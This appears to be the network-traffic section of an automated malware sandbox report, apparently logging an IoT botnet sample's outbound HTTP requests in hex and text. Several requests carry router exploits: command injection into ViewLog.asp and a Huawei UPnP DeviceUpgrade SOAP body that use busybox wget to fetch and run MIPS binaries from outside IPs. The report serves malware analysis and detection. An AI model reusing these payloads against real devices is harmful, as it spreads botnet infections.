                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License*//* Page basics */* {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/* initial title */#titles h1 {color: #000000;}#titles h2 {color: #000000;}/* special event: FTP success page titles */#titles ftpsuccess {background-color:#00ff00;width:100%;}/* Page displayed body content area */#content {padding: 10px;background: #ffffff
                                                Nov 23, 2023 05:22:35.795845032 CET1340INHTTP/1.0 400 Bad Request
                                                Server: squid/3.1.23
                                                Mime-Version: 1.0
                                                Date: Thu, 23 Nov 2023 03:53:26 GMT
                                                Content-Type: text/html
                                                Content-Length: 3167
                                                X-Squid-Error: ERR_INVALID_URL 0
                                                Connection: close
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License*//* Page basics */* {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/* initial title */#titles h1 {color: #000000;}#titles h2 {color: #000000;}/* special event: FTP success page titles */#titles ftpsuccess {background-color:#00ff00;width:100%;}/* Page displayed body content area */#content {padding: 10px;background: #ffffff


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                587192.168.2.153435894.182.173.1238080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.423038006 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:33.686815977 CET212INHTTP/1.1 404 Not Found
                                                Content-Type: text/plain
                                                Date: Thu, 23 Nov 2023 04:19:48 GMT
                                                Content-Length: 18
                                                Connection: close
                                                Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64
                                                Data Ascii: 404 page not found


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                588192.168.2.1541376156.241.100.11037215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.460575104 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:37.496718884 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:43.640554905 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:55.672231913 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                589192.168.2.155683231.220.87.2058080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.688364983 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                590192.168.2.153283095.86.120.2558080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.702805042 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                591192.168.2.154796485.95.123.1868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.742574930 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
